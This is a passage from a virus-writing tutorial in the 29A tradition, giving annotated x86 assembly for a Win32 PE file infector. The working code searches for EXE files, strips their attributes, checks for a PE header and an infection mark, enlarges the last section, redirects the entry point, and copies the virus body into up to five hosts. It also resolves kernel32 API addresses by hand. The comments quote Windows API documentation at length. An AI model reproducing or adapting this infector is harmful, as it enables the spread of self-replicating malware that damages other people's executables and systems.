 ; The SetCurrentDirectory function changes the current directory for the   ;
 ; current process.                                                         ;
 ;                                                                          ;
 ; BOOL SetCurrentDirectory(                                                ;
 ;   LPCTSTR lpPathName  // address of name of new current directory        ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Parameters                                                               ;
 ;                                                                 ;
 ;                                                                          ;
 ;  lpPathName: Points to a null-terminated string that specifies the path ;
 ;   to the new current directory. This parameter may be a relative path or ;
 ;   a fully qualified path. In either case, the fully qualified path of    ;
 ;   the specified directory is calculated and stored as the current        ;
 ;   directory.                                                             ;
 ;                                                                          ;
 ; Return Values                                                            ;
 ;                                                          ;
 ;                                                                          ;
 ;  If the function succeeds, the return value is nonzero.                ;
 ;-------------------------------------;

Infect: and     dword ptr [ebp+infections],00000000h ; reset countah

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure
        push    eax                             ; Push it
        lea     eax,[ebp+offset EXE_MASK]       ; Mask to search for
        push    eax                             ; Push it

        call    [ebp+_FindFirstFileA]           ; Get first matching file

        inc     eax                             ; CMP EAX,0FFFFFFFFh
        jz      FailInfect                      ; JZ  FAILINFECT
        dec     eax

        mov     dword ptr [ebp+SearchHandle],eax ; Save the Search Handle

 ;-------------------------------------;
 ; This is the first part of the routine. The first line is just for clear  ;
 ; the infection counter (ie set it to 0) in a more optimized way (AND in   ;
 ; this example is smaller than MOV). Well, having the infection counter    ;
 ; already reseted, it's time to search for files to infect ;) Ok, in DOS   ;
 ; we had INT 21h's services 4Eh/4Fh... Here in Win32 we have 2 equivalent  ;
 ; APIs: FindFirstFile and FindNextFile. Now we want to search for the 1st  ;
 ; file in the directory. All the functions for find files in Win32 have in ;
 ; common a structure (do you remember DTA?) called WIN32_FIND_DATA (many   ;
 ; times shortened to WFD). Let's see the structure fields                  ;
 ;                                                                          ;
 ; MAX_PATH                equ     260  <-- The maximum size of a path      ;
```

```
;                                                                              ;
; FILETIME                STRUC        <-- Struture for handle the time,    ;
; FT_dwLowDateTime        dd      ?        present in many Win32 strucs      ;
; FT_dwHighDateTime       dd      ?                                          ;
; FILETIME                ENDS                                               ;
;                                                                              ;
; WIN32_FIND_DATA         STRUC                                              ;
; WFD_dwFileAttributes    dd      ?    <-- Contains the file attributtes     ;
; WFD_ftCreationTime      FILETIME ?   <-- Moment when da file was created   ;
; WFD_ftLastAccessTime    FILETIME ?   <-- Last time when file was accessed;
; WFD_ftLastWriteTime     FILETIME ?   <-- Last time when file was written   ;
; WFD_nFileSizeHigh       dd      ?    <-- MSD of file size                  ;
; WFD_nFileSizeLow        dd      ?    <-- LSD of file size                  ;
; WFD_dwReserved0         dd      ?    <-- Reserved                          ;
; WFD_dwReserved1         dd      ?    <-- Reserved                          ;
; WFD_szFileName          db      MAX_PATH dup (?) <-- ASCIIz file name      ;
; WFD_szAlternateFileName db      13 dup (?) <-- File name without path      ;
;                         db      03 dup (?) <-- Padding                     ;
; WIN32_FIND_DATA         ENDS                                               ;
;                                                                              ;
;  dwFileAttributes: Specifies the file attributes of the file found.       ;
;   This member can be one or more of the following values [Not enough      ;
;   space for include them here:you have them at 29A INC files (29A#2) and ;
;   the document said before.]                                               ;
;                                                                              ;
;  ftCreationTime: Specifies a FILETIME structure containing the time the ;
;   file was created. FindFirstFile and  FindNextFile report file times in ;
;   Coordinated Universal Time (UTC) format. These functions set the       ;
;   FILETIME members to zero if the file system containing the file does   ;
;   not support this time member. You can use the FileTimeToLocalFileTime  ;
;   function to convert from UTC to local time, and then use the           ;
;   FileTimeToSystemTime function to convert da local time to a SYSTEMTIME ;
;   structure  containing individual  members  for  the month, day, year,  ;
;   weekday, hour, minute, second, and millisecond.                          ;
;                                                                              ;
;  ftLastAccessTime: Specifies a FILETIME structure containing the time   ;
;   that the file was last accessed.The time is in UTC format;the FILETIME ;
;   members are zero if the file system does not support this time member. ;
;                                                                              ;
;  ftLastWriteTime: Specifies a FILETIME structure containing the time    ;
;   that da file was last written to.Da time is in UTC format;the FILETIME ;
;   members are zero if the file system does not support this time member. ;
;                                                                              ;
;  nFileSizeHigh: Specifies the high-order DWORD value of the file size,  ;
;   in bytes. This value is zero unless the file size is greater than      ;
;   MAXDWORD. The size of the file is equal to (nFileSizeHigh * MAXDWORD)  ;
;   + nFileSizeLow.                                                          ;
;                                                                              ;
;  nFileSizeLow: Specifies the low-order DWORD value of the file size, in ;
;   bytes.                                                                   ;
;                                                                              ;
;  dwReserved0: Reserved for future use.                                  ;
;                                                                              ;
;  dwReserved1: Reserved for future use.                                  ;
;                                                                              ;
;  cFileName: A null-terminated string that is the name of the file.      ;
;                                                                              ;
;  cAlternateFileName: A null-terminated string that is an alternative    ;
; name for the file.This name is in the classic 8.3 (filename.ext) file-   ;
; name format.                                                               ;
;                                                                              ;
; Well, as we know now the fields of the WFD structure, we can take a deep ;
; look to "Find" functions of Windows. First, let's see the description of ;
; the API FindFirstFileA:                                                    ;
;                                                                              ;
; The FindFirstFile function searches a directory for a file whose name    ;
; matches the specified filename.FindFirstFile examines subdirectory names ;
; as well as filenames.                                                      ;
;                                                                              ;
; HANDLE FindFirstFile(                                                      ;
;   LPCTSTR lpFileName,  // pointer to name of file to search for          ;
;   LPWIN32_FIND_DATA lpFindFileData    // pointer to returned information ;
```

```
;  );                                                                    ;
;                                                                        ;
; Parameters                                                             ;
;                                                                  ;
;                                                                        ;
;  lpFileName: A. Windows 95: Points to a null-terminated string that     ;
;                  specifies a valid directory or path and filename, which ;
;                  can contain wildcard characters (* and ?). This string  ;
;                  must not exceed MAX_PATH characters.                    ;
;               B. Windows NT: Points  to a null-terminated string that    ;
;                  specifies a valid directory or path and filename, which ;
;                  can contain wildcard characters (* and ?).              ;
;                                                                        ;
; There is a default string size limit for paths of MAX_PATH characters.   ;
; This limit is related to how the FindFirstFile function  parses  paths.  ;
; An application can transcend this limit and send in paths longer than    ;
; MAX_PATH characters by calling the wide (W) version of FindFirstFile and ;
; prepending "\\?\" to  the path.The "\\?\" tells the function to turn off ;
; path parsing; it lets paths longer than MAX_PATH be used with            ;
; FindFirstFileW. This also works with UNC names. The "\\?\" is ignored as ;
; part of the path. For example "\\?\C:\myworld\private" is seen as        ;
; "C:\myworld\private", and "\\?\UNC\bill_g_1\hotstuff\coolapps"is seen as ;
; "\\bill_g_1\hotstuff\coolapps"                                           ;
;                                                                        ;
;  lpFindFileData: Points to the WIN32_FIND_DATA structure that receives  ;
;   information about the found file or subdirectory. The structure can be ;
;   used in subsequent calls to the FindNextFile or FindClose function to  ;
;   refer to the file or subdirectory.                                     ;
;                                                                        ;
; Return Values                                                          ;
;                                                          ;
;                                                                        ;
;  If the function succeeds,the return value is a search handle used in a ;
;   subsequent call to FindNextFile or FindClose.                         ;
;                                                                        ;
;  If the function fails, the return value is INVALID_HANDLE_VALUE.To get ;
;   extended error information, call GetLastError.                        ;
;                                                                        ;
; So, now you know the meaning of all the parameters of FindFirstFile fun- ;
; ction. And, by the way, you know now the last lines of the below code    ;
; block :)                                                               ;
;-------------------------------------;

__1:    push    dword ptr [ebp+OldEIP]          ; Save OldEIP and ModBase,
        push    dword ptr [ebp+ModBase]         ; changed on infection

        call    Infection                       ; Infect found file

        pop     dword ptr [ebp+ModBase]         ; Restore them
        pop     dword ptr [ebp+OldEIP]

        inc     byte ptr [ebp+infections]       ; Increase counter
        cmp     byte ptr [ebp+infections],05h   ; Over our limit?
        jz      FailInfect                      ; Damn...

;-------------------------------------;
; The first thing we do is to preserve the contents of some necessary var- ;
; iables that will be used laterly when we will return control to host,but ;
; painfully these variables are changed when infecting files. We call to   ;
; the infection routine: it only needs the WFD information, so we don't    ;
; need to pass parameters to it. After infect the corresponding files, we  ;
; put the values modified back. And after doing that, we increase the inf- ;
; ection counter, and check if we have already infected 5 files (limit of  ;
; infections of this virus). If we have done such like thing, the virus    ;
; exits from the infection procedure.                                      ;
;-------------------------------------;

__2:    lea     edi,[ebp+WFD_szFileName]        ; Ptr to file name
        mov     ecx,MAX_PATH                    ; ECX = 260
        xor     al,al                           ; AL = 00
        rep     stosb                           ; Clear old filename variable
```

```
        lea     eax,[ebp+offset WIN32_FIND_DATA] ; Ptr to WFD
        push    eax                              ; Push it
        push    dword ptr [ebp+SearchHandle]     ; Push Search Handle
        call    [ebp+_FindNextFileA]             ; Find another file

        or      eax,eax                          ; Fail?
        jnz     __1                              ; Not, Infect another

CloseSearchHandle:
        push    dword ptr [ebp+SearchHandle]     ; Push search handle
        call    [ebp+_FindClose]                 ; And close it

FailInfect:
        ret

 ;-------------------------------------;
 ; The first block of code does a simple thing: it erases the data on the   ;
 ; WFD structure (concretly the file name data). This is done for avoid     ;
 ; problems while finding another file. The next we do is a call to the     ;
 ; FindNextFile API. Here goes the description of such API:                 ;
 ;                                                                          ;
 ; The FindNextFile function continues a file search from a previous call   ;
 ; to the FindFirstFile function.                                           ;
 ;                                                                          ;
 ; BOOL FindNextFile(                                                       ;
 ;   HANDLE hFindFile,   // handle to search                                ;
 ;   LPWIN32_FIND_DATA lpFindFileData    // pointer to structure for data   ;
 ;                                       // on found file                  ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Parameters                                                               ;
 ;                                                                  ;
 ;                                                                          ;
 ;  hFindFile: Identifies a search handle returned by a previous call to   ;
 ;   the FindFirstFile function.                                            ;
 ;                                                                          ;
 ;  lpFindFileData: Points to the WIN32_FIND_DATA structure that receives  ;
 ;   information about the found file or subdirectory. The structure can be ;
 ;   used in subsequent calls to FindNextFile to refer to the found file or ;
 ;   directory.                                                             ;
 ;                                                                          ;
 ; Return Values                                                            ;
 ;                                                          ;
 ;                                                                          ;
 ;  If the function succeeds, the return value is nonzero.                ;
 ;                                                                          ;
 ;  If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                         ;
 ;                                                                          ;
 ;  If  no matching files  can be found, the GetLastError function returns ;
 ;   ERROR_NO_MORE_FILES.                                                   ;
 ;                                                                          ;
 ; If the FindNextFile returned error, or if the virus has reached the max- ;
 ; imum number of infections possible,we arrive to the last routine of this ;
 ; block. It consist in closing the search handle with the FindClose API.   ;
 ; As usual, here comes the description of such API:                        ;
 ;                                                                          ;
 ; The FindClose function closes the specified search handle. The           ;
 ; FindFirstFile and FindNextFile functions use the search handle to locate ;
 ; files with names that match a given name.                                ;
 ;                                                                          ;
 ; BOOL FindClose(                                                          ;
 ;   HANDLE hFindFile    // file search handle                               ;
 ;  );                                                                      ;
 ;                                                                          ;
 ;                                                                          ;
 ; Parameters                                                               ;
 ;                                                              ;
 ;                                                                          ;
 ;  hFindFile: Identifies the search handle. This handle must have been    ;
 ;   previously opened by the FindFirstFile function.                       ;
 ;                                                                          ;
```

```
 ; Return Values                                                          ;
 ;                                                          ;
 ;                                                                       ;
 ;  If the function succeeds, the return value is nonzero.               ;
 ;                                                                       ;
 ;  If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                      ;
 ;                                                                       ;
 ;-------------------------------------;

Infection:
        lea     esi,[ebp+WFD_szFileName]        ; Get FileName to infect
        push    80h
        push    esi
        call    [ebp+_SetFileAttributesA]       ; Wipe its attributes

        call    OpenFile                        ; Open it

        inc     eax                             ; If EAX = -1, there was an
        jz      CantOpen                        ; error
        dec     eax

        mov     dword ptr [ebp+FileHandle],eax

 ;-------------------------------------;
 ; The first we do is to wipeout the file attributes, and setting them to   ;
 ; "Normal file". This is done by the SetFileAttributes API. Here you have  ;
 ; a brief explanation of that API:                                         ;
 ;                                                                         ;
 ; The SetFileAttributes function sets a file's attributes.                ;
 ;                                                                         ;
 ; BOOL SetFileAttributes(                                                 ;
 ;   LPCTSTR lpFileName, // address of filename                            ;
 ;   DWORD dwFileAttributes      // address of attributes to set           ;
 ;  );                                                                     ;
 ;                                                                         ;
 ; Parameters                                                              ;
 ;                                                              ;
 ;                                                                         ;
 ;  lpFileName: Points to a string that specifies da name of da file whose ;
 ;   attributes are to be set.                                             ;
 ;                                                                         ;
 ;  dwFileAttributes: Specifies da file attributes to set for da file.This ;
 ;   parameter can be a combination of the following values. However, all  ;
 ;   other values override FILE_ATTRIBUTE_NORMAL.                          ;
 ;                                                                         ;
 ; Return Values                                                           ;
 ;                                                          ;
 ;                                                                         ;
 ;  If the function succeeds, the return value is nonzero.               ;
 ;                                                                         ;
 ;  If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                       ;
 ;                                                                         ;
 ; After set the new attributes, we open the file, and, if no error happe- ;
 ; ned, it stores the handle in its variable.                              ;
 ;-------------------------------------;

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
        call    CreateMap                       ; its exact size

        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call    MapFile                         ; Map it

        or      eax,eax
        jz      UnMapFile
```

```
        mov     dword ptr [ebp+MapAddress],eax

;-------------------------------------;
; First we put in ECX the size of the file we are going to map, and then   ;
; we call to our function for map it. We check for a possible error with   ;
; it, and if there wasn't an error, we continue, otherwise, we close the   ;
; file. Then we store the mapping handle, and we prepare to finally map it ;
; with our MapFile function. As before, we check for an error and act in   ;
; consequence. If all was ok, we store the address where the mapping is    ;
; effective.                                                               ;
;-------------------------------------;

        mov     esi,[eax+3Ch]
        add     esi,eax
        cmp     dword ptr [esi],"EP"            ; Is it PE?
        jnz     NoInfect

        cmp     dword ptr [esi+4Ch],"CTZA"     ; Was it infected?
        jz      NoInfect

        push    dword ptr [esi+3Ch]

        push    dword ptr [ebp+MapAddress]      ; Close all
        call    [ebp+_UnmapViewOfFile]

        push    dword ptr [ebp+MapHandle]
        call    [ebp+_CloseHandle]

        pop     ecx

;-------------------------------------;
; As we have the beginning of mapping address in EAX, we retrieve the po-  ;
; inter to the PE header (MapAddress+3Ch), and then we normalize it, so in ;
; ESI we will have the pointer to the PE header. Anyway we check if it's   ;
; ok, so we check for the PE sign. After that check, we check if the file  ;
; was previously infected (we store a mark in PE offset 4Ch, unused by the ;
; program), and if it was not, we continue with the infection process. We  ;
; preserve then, in stack, the File Alignment (see PE header chapter). And ;
; after that, we unmap the mapping, and close the mapping handle. Finally  ;
; we restore the pushed File Alignment from stack, storing it in ECX reg.  ;
;-------------------------------------;

        mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
        add     eax,virus_size

        call    Align
        xchg    ecx,eax

        call    CreateMap
        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+NewSize]
        call    MapFile

        or      eax,eax
        jz      UnMapFile

        mov     dword ptr [ebp+MapAddress],eax

        mov     esi,[eax+3Ch]
        add     esi,eax

;-------------------------------------;
; As we have the File Alignment in ECX (prepared for 'Align' function, coz ;
; it requires in ECX the alignment factor), we put in EAX the size of the  ;
; opened file size plus the virus size (EAX is the number to align), then  ;
; we call to the 'Align' function, that returns us in EAX the aligned num- ;
; ber. For example, if the Alignment is 200h, and the File Size+Virus Size ;
; is 12345h, the number that the 'Align' function will return us will be   ;
```

```
; 12400h. Then we put in ECX the aligned number.We call again to CreateMap ;
; function, but now we will map the file with the aligned size. Adrer that ;
; we retrieve again in ESI the pointer to the PE header.                    ;
;-------------------------------------;

       mov     edi,esi                         ; EDI = ESI = Ptr to PE header

       movzx   eax,word ptr [edi+06h]          ; AX = n of sections
       dec     eax                             ; AX--
       imul    eax,eax,28h                     ; EAX = AX*28
       add     esi,eax                         ; Normalize
       add     esi,78h                         ; Ptr to dir table
       mov     edx,[edi+74h]                   ; EDX = n of dir entries
       shl     edx,3                           ; EDX = EDX*8
       add     esi,edx                         ; ESI = Ptr to last section

;-------------------------------------;
; Firstly we make also EDI to point to the PE header. After that, we put   ;
; in AX the number of sections (a WORD), and then we decrease it. Then we  ;
; multiply the AX content (n. of sections-1) per 28h (section header size) ;
; and later we add to it the PE header offset.Then we make ESI to point to ;
; the dir table, and get in EDX the number of dir entries.Then we multiply ;
; it per 8, and finally we add the result (in EDX) to ESI, so ESI will be  ;
; pointing to the last section.                                            ;
;-------------------------------------;

       mov     eax,[edi+28h]                   ; Get EP
       mov     dword ptr [ebp+OldEIP],eax      ; Store it
       mov     eax,[edi+34h]                   ; Get imagebase
       mov     dword ptr [ebp+ModBase],eax     ; Store it

       mov     edx,[esi+10h]                   ; EDX = SizeOfRawData
       mov     ebx,edx                         ; EBX = EDX
       add     edx,[esi+14h]                   ; EDX = EDX+PointerToRawData

       push    edx                             ; Preserve EDX

       mov     eax,ebx                         ; EAX = EBX
       add     eax,[esi+0Ch]                   ; EAX = EAX+VA Address
                                               ; EAX = New EIP
       mov     [edi+28h],eax                   ; Change the new EIP
       mov     dword ptr [ebp+NewEIP],eax      ; Also store it

;-------------------------------------;
; Firstly we put in EAX the EIP of the file we are infecting, for laterly  ;
; put the old EIP in a variable that will be used in the beginning of the  ;
; virus (see it). We do the same with the imagebase. After that, we put in ;
; EDX the SizeOfRawData of the last section, we preserve it for later in   ;
; EBX, and then we finally add to EDX the PointerToRawData (EDX will be    ;
; used later when copying the virus, so we preserve it in the stack).After ;
; that we put in EAX the SizeOfRawData, we add to it the VA Address: so we ;
; have in EAX the new EIP for the host. So we preserve it in its PE header ;
; field, and in another variable (see beginning of the virus)              ;
;-------------------------------------;

       mov     eax,[esi+10h]                   ; EAX = new SizeOfRawData
       add     eax,virus_size                  ; EAX = EAX+VirusSize
       mov     ecx,[edi+3Ch]                   ; ECX = FileAlignment
       call    Align                           ; Align!

       mov     [esi+10h],eax                   ; New SizeOfRawData
       mov     [esi+08h],eax                   ; New VirtualSize

       pop     edx                             ; EDX = Raw pointer to the
                                               ;       end of section

       mov     eax,[esi+10h]                   ; EAX = New SizeOfRawData
       add     eax,[esi+0Ch]                   ; EAX = EAX+VirtualAddress
       mov     [edi+50h],eax                   ; EAX = New SizeOfImage

       or      dword ptr [esi+24h],0A0000020h  ; Put new section flags
```

```
 ;-------------------------------------;
 ; Ok, the first thing we do is to load in EAX the SizeOfRawData of the     ;
 ; last section, and after that we add the virus size to it. In ECX we load ;
 ; the FileAlignment, we call the 'Align' function, so in EAX we will have  ;
 ; the aligned SizeOfRawData+VirusSize.                                     ;
 ; Let me say a little example of this:                                     ;
 ;                                                                          ;
 ;      SizeOfRawData - 1234h                                               ;
 ;      VirusSize     -  400h                                               ;
 ;      FileAlignment -  200h                                               ;
 ;                                                                          ;
 ; So, SizeOfRawData plus VirusSize would be 1634h, and after align that   ;
 ; value, it will be 1800h. Simple, huh? So we set the aligned value as the ;
 ; new SizeOfRawData and as the new VirtualSize, so we won't have problems  ;
 ; After that, we calculate the new SizeOfImage, that is, always, the sum   ;
 ; of the New SizeOfRawData and the VirtualAddress. After calculate this,we ;
 ; put it where in the SizeOfImage field of the PE header (offset 50h).     ;
 ; After that, we set the attributes of the section we've increased also to ;
 ; the following ones:                                                      ;
 ;                                                                          ;
 ;      00000020h - Section contains code                                   ;
 ;      40000000h - Section is readable                                     ;
 ;      80000000h - Section is writable                                     ;
 ;                                                                          ;
 ; So, if we apply to that 3 values an OR operation, the result will be     ;
 ; A0000020h. So, we have to OR it also with the current attributes of the  ;
 ; section header, so we won't erase the old ones: we will just add them.   ;
 ;-------------------------------------;

        mov     dword ptr [edi+4Ch],"CTZA"      ; Put infection mark

        lea     esi,[ebp+aztec]                 ; ESI = Ptr to virus_start
        xchg    edi,edx                         ; EDI = Raw ptr after last
                                                ;       section
        add     edi,dword ptr [ebp+MapAddress]  ; EDI = Normalized ptr
        mov     ecx,virus_size                  ; ECX = Size to copy
        rep     movsb                           ; Do it!

        jmp     UnMapFile                       ; Unmap, close, etc.

 ;-------------------------------------;
 ; What we are doing at the first code line of this block is to put the     ;
 ; mark of infection in an unused field of the PE header (offset 4Ch, that  ;
 ; is 'Reserved1'), for avoid infect again the file. After, we put in ESI   ;
 ; a pointer to the beginning of the virus code. After we put in EDI the    ;
 ; value we had in EDX (remember: EDX = Old SizeOfRawData+PointerToRawData) ;
 ; that is the RVA to where we should put the virus code. As i have said,   ;
 ; it's an RVA, and as you MUST know ;) the RVA must be turned to VA, and   ;
 ; this is made by adding the value to where the RVA is relative... So,it's ;
 ; relative to the address where the mapping of the file begins (if you re- ;
 ; member, it's returned by the API MapViewOfFile). So, finally, in EDI we  ;
 ; have the VA where write the virus code. In ECX we load the size of a vi- ;
 ; rus, and we copy all it. And that was all! ;) Now let's close all...     ;
 ;-------------------------------------;

NoInfect:
        dec     byte ptr [ebp+infections]
        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call    TruncFile

 ;-------------------------------------;
 ; We arrive to this point if any error happened while performing the inf-  ;
 ; ection. We decrease the infection counter, and we truncate the file to   ;
 ; the size it had before the infection. I hope our virus won't reach this  ;
 ; point ;)                                                                 ;
 ;-------------------------------------;

UnMapFile:
        push    dword ptr [ebp+MapAddress]      ; Close mapping address
        call    [ebp+_UnmapViewOfFile]

CloseMap:
```

```
        push    dword ptr [ebp+MapHandle]       ; Close mapping
        call    [ebp+_CloseHandle]

CloseFile:
        push    dword ptr [ebp+FileHandle]      ; Close file
        call    [ebp+_CloseHandle]

CantOpen:
        push    dword ptr [ebp+WFD_dwFileAttributes]
        lea     eax,[ebp+WFD_szFileName]        ; Set old file attributes
        push    eax
        call    [ebp+_SetFileAttributesA]
        ret

 ;-------------------------------------;
 ; Those blocks of code are dedicated to close everything opened during the ;
 ; infection: the address of mapping, the mapping itself, the file, and la- ;
 ; terly, setting back the old attributes.                                  ;
 ; Let's see a little review of APIs used here:                             ;
 ;                                                                          ;
 ; The UnmapViewOfFile function unmaps a mapped view of a file from the     ;
 ; calling process's address space.                                         ;
 ;                                                                          ;
 ; BOOL UnmapViewOfFile(                                                    ;
 ;   LPCVOID lpBaseAddress       // address where mapped view begins        ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Parameters                                                               ;
 ;                                                          ;               ;
 ;                                                                          ;
 ;  lpBaseAddress: Points to the base address of the mapped view of a file ;
 ;   that is to be unmapped. This value must be identical to the value      ;
 ;   returned by a previous call to the MapViewOfFile or MapViewOfFileEx    ;
 ;   function.                                                              ;
 ;                                                                          ;
 ; Return Values                                                            ;
 ;                                                       ;                  ;
 ;                                                                          ;
 ;  If the function succeeds, the return value is nonzero, and all dirty   ;
 ;   pages within the specified range are written "lazily" to disk.         ;
 ;                                                                          ;
 ;  If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                         ;
 ;                                                                          ;
 ; ---                                                                      ;
 ;                                                                          ;
 ; The CloseHandle function closes an open object handle.                   ;
 ;                                                                          ;
 ; BOOL CloseHandle(                                                        ;
 ;   HANDLE hObject      // handle to object to close                       ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Parameters                                                               ;
 ;                                                          ;               ;
 ;                                                                          ;
 ;  hObject: Identifies an open object handle.                             ;
 ;                                                                          ;
 ; Return Values                                                            ;
 ;                                                       ;                  ;
 ;                                                                          ;
 ;  If the function succeeds, the return value is nonzero.                 ;
 ;  If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                         ;
 ;                                                                          ;
 ;-------------------------------------;

GetK32          proc
_@1:    cmp     word ptr [esi],"ZM"
        jz      WeGotK32
_@2:    sub     esi,10000h
        loop    _@1
WeFailed:
```

```
        mov     ecx,cs
        xor     cl,cl
        jecxz   WeAreInWNT
        mov     esi,kernel_
        jmp     WeGotK32
WeAreInWNT:
        mov     esi,kernel_wNT
WeGotK32:
        xchg    eax,esi
        ret
GetK32          endp

GetAPIs         proc
@@1:    push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi

        stosd

        xchg    edi,esi

        xor     al,al
@@2:    scasb
        jnz     @@2

        xchg    edi,esi

@@3:    cmp     byte ptr [esi],0BBh
        jnz     @@1

        ret
GetAPIs         endp

GetAPI          proc
        mov     edx,esi
        mov     edi,esi

        xor     al,al
@_1:    scasb
        jnz     @_1

        sub     edi,esi                         ; EDI = API Name size
        mov     ecx,edi

        xor     eax,eax
        mov     esi,3Ch
        add     esi,[ebp+kernel]
        lodsw
        add     eax,[ebp+kernel]

        mov     esi,[eax+78h]
        add     esi,1Ch

        add     esi,[ebp+kernel]

        lea     edi,[ebp+AddressTableVA]

        lodsd
        add     eax,[ebp+kernel]
        stosd

        lodsd
        add     eax,[ebp+kernel]
        push    eax                             ; mov [NameTableVA],eax   =)
        stosd

        lodsd
        add     eax,[ebp+kernel]
        stosd
```

```
        pop     esi

        xor     ebx,ebx

@_3:    lodsd
        push    esi
        add     eax,[ebp+kernel]
        mov     esi,eax
        mov     edi,edx
        push    ecx
        cld
        rep     cmpsb
        pop     ecx
        jz      @_4
        pop     esi
        inc     ebx
        jmp     @_3

@_4:
        pop     esi
        xchg    eax,ebx
        shl     eax,1
        add     eax,dword ptr [ebp+OrdinalTableVA]
        xor     esi,esi
        xchg    eax,esi
        lodsw
        shl     eax,2
        add     eax,dword ptr [ebp+AddressTableVA]
        mov     esi,eax
        lodsd
        add     eax,[ebp+kernel]
        ret
GetAPI          endp

 ;-------------------------------------;
 ; All the above code was already seen before, anyway here are a little bit ;
 ; optimized, so you can see how to do it yourself in another way ;)        ;
 ;-------------------------------------;

 ; input:
 ;      EAX - Value to align
 ;      ECX - Alignment factor
 ; output:
 ;      EAX - Aligned value

Align           proc
        push    edx
        xor     edx,edx
        push    eax
        div     ecx
        pop     eax
        sub     ecx,edx
        add     eax,ecx
        pop     edx
        ret
Align           endp

 ;-------------------------------------;
 ; This procedure acoplishes generically a very important thing of the PE   ;
 ; infection: align a number to a determinated factor.If you are not a d0rk ;
 ; you don't need me to answer how it works. (Fuck, did you studied in your ;
 ; fucking life?)                                                           ;
 ;-------------------------------------;

 ; input:
 ;      ECX - Where truncate file
 ; output:
 ;      Nothing.

TruncFile       proc
        xor     eax,eax
        push    eax
```

```
        push    eax
        push    ecx
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetFilePointer]

        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetEndOfFile]
        ret
TruncFile       endp

 ;-------------------------------------;
 ; The SetFilePointer function moves the file pointer of an open file.      ;
 ;                                                                          ;
 ; DWORD SetFilePointer(                                                    ;
 ;   HANDLE hFile,       // handle of file                                   ;
 ;   LONG lDistanceToMove,       // number of bytes to move file pointer    ;
 ;   PLONG lpDistanceToMoveHigh, // address of high-order word of distance  ;
 ;                               // to move                                 ;
 ;   DWORD dwMoveMethod  // how to move                                      ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Parameters                                                               ;
 ;                                                                  ;       ;
 ;                                                                          ;
 ;  hFile: Identifies the file whose file pointer is to be moved. The file ;
 ;   handle must have been created with GENERIC_READ or GENERIC_WRITE access;
 ;   to the file.                                                           ;
 ;                                                                          ;
 ;  lDistanceToMove: Specifies the number of bytes to move the file pointer;
 ;   A positive value moves the pointer forward in the file and a negative  ;
 ;   value moves it backward.                                               ;
 ;                                                                          ;
 ;  lpDistanceToMoveHigh: Points to the high-order word of the 64-bit      ;
 ;   distance to move.If the value of this parameter is NULL,SetFilePointer ;
 ;   can operate only on files whose maximum size is 2^32 - 2. If this      ;
 ;   parameter is specified,the maximum file size is 2^64 - 2.This parameter;
 ;   also receives the high-order word of the new value of the file pointer.;
 ;                                                                          ;
 ;  dwMoveMethod: Specifies the starting point for the file pointer move.  ;
 ;   This parameter can be one of the following values:                     ;
 ;                                                                          ;
 ;     Value          Meaning                                             ;
 ;                                                                        ;
 ;   + FILE_BEGIN   - The starting point is zero or the beginning of the    ;
 ;                    file.If FILE_BEGIN is specified,DistanceToMove is     ;
 ;                    interpreted as an unsigned location for the new file  ;
 ;                    pointer.                                              ;
 ;   + FILE_CURRENT - The current value of the file pointer is the starting ;
 ;                    point.                                                ;
 ;   + FILE_END     - The current end-of-file position is the starting point;
 ;                                                                          ;
 ;                                                                          ;
 ; Return Values                                                            ;
 ;                                                             ;            ;
 ;                                                                          ;
 ;  If the SetFilePointer function succeeds, the return value is the low-  ;
 ;   order doubleword of the new file pointer, and if lpDistanceToMoveHigh  ;
 ;   is not NULL, the function puts the high-order doubleword of the new    ;
 ;   file pointer into the LONG pointed to by that parameter.               ;
 ;  If the function fails and lpDistanceToMoveHigh is NULL, the return     ;
 ;   value is 0xFFFFFFFF. To get extended error information, call           ;
 ;   GetLastError.                                                          ;
 ;  If the function fails, and lpDistanceToMoveHigh is non-NULL,the return ;
 ;   value is 0xFFFFFFFF and GetLastError will return a value other than    ;
 ;   NO_ERROR.                                                              ;
 ;                                                                          ;
 ; ---                                                                      ;
 ;                                                                          ;
 ; The SetEndOfFile function moves the end-of-file (EOF) position for the   ;
 ; specified file to the current position of the file pointer.              ;
 ;                                                                          ;
 ; BOOL SetEndOfFile(                                                       ;
```

```
 ;   HANDLE hFile        // handle of file whose EOF is to be set           ;
 ;  );                                                                     ;
 ;                                                                         ;
 ; Parameters                                                              ;
 ;                                                                  ;
 ;                                                                         ;
 ;  hFile: Identifies the file to have its EOF position moved. The file    ;
 ;   handle must have been created with GENERIC_WRITE access to the file.  ;
 ;                                                                         ;
 ; Return Values                                                           ;
 ;                                                              ;
 ;                                                                         ;
 ;  If the function succeeds, the return value is nonzero.                ;
 ;  If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                        ;
 ;                                                                         ;
 ;-------------------------------------;

 ; input:
 ;      ESI - Pointer to the name of the file to open
 ; output:
 ;      EAX - File handle if succesful

OpenFile        proc
        xor     eax,eax
        push    eax
        push    eax
        push    00000003h
        push    eax
        inc     eax
        push    eax
        push    80000000h or 40000000h
        push    esi
        call    [ebp+_CreateFileA]
        ret
OpenFile        endp

 ;-------------------------------------;
 ; The CreateFile function creates or opens the following objects and      ;
 ; returns a handle that can be used to access the object:                 ;
 ;                                                                         ;
